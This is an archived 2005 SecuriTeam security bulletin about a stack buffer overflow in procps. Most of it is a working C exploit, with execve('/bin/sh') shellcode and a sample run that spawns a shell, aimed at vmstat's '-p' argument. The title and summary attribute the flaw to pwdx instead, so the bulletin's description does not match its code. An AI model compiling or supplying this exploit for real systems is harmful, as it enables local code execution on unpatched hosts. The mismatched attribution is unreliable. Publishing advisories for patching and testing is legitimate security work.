

# [EXPL] Procps Buffer Overflow (pwdx, Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0124.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 05/22/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 22 May 2005 16:51:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Procps Buffer Overflow (pwdx, Exploit)

---

## SUMMARY

" <<http://procps.sourceforge.net/>> procps is a package that has a few small useful utilities that give information about processes using the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, free, slabtop, and skill."

A buffer overflow vulnerability has been discovered in argument handling of pwdx utility supplied with Procps. The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Vulnerable Systems:

\* pwdx included with Procps versions 3.2.5 and prior

Exploit:

/\*

VULNERABLE PROGRAM:

--=[ procps 3.2.5 vmstat '-p' argument stack overflow

--=[ <http://procps.sourceforge.net/>

--=[ Advisory: [http://www.danitrous.org/code/PoCs/vmstat\\_adv.txt](http://www.danitrous.org/code/PoCs/vmstat_adv.txt)

## Securiteam: [EXPL] Procps Buffer Overflow (pwdx, Exploit)

### EXPLOIT:

```
--=[ Local env exploit [no suid] by nitrous <nitrous@danitrous.org>
--=[ Tested on Ubuntu Linux 2.6.8.1-3-386
```

```
nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ gcc vmstat-p0c.c -o
vmstat-p0c
nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ ./vmstat-p0c
-=[ Jumping to: 0xbffffc9
```

```
Partition was not found
sh-2.05b$ id
uid=1000(nitrous) gid=1000(nitrous)
```

```
--=[ greets to www.vulnfact.com, dr_fdisk^, CRAc, beck, ran, dymitri,
dex, benn, cryogen, JSS... blah blah blah.
*/
```

```
#include<stdio.h>
#include<string.h>
```

```
#define BUFFER_SIZE 32
#define VMSTAT_PATH "/usr/bin/vmstat"
```

```
char nitrous_egg[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh"; //jmp-call execve()
```

```
int main()
{
    char *payload= (char *)malloc(BUFFER_SIZE);
    char *enviro[2]= { nitrous_egg,NULL};

    unsigned long
retaddr=0xbfffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);

    printf("-=[ Jumping to: 0x%x\n\n", retaddr);

    int x;
    for(x=0; x<BUFFER_SIZE; x+=4)
        *(unsigned long *)&payload[x]= retaddr;

    execl(VMSTAT_PATH, VMSTAT_PATH,"-p", payload, NULL, enviro);

    return 0;
}
```

### ADDITIONAL INFORMATION

Securiteam: [EXPL] Procps Buffer Overflow (pwdx, Exploit)

The information has been provided by <mailto:nitrous@danitrous.org> A.  
Alejandro Hernandez.

The advisory can be found at:

<<http://www.securiteam.com/unixfocus/5IPOS20FFA.html>>

<http://www.securiteam.com/unixfocus/5IPOS20FFA.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.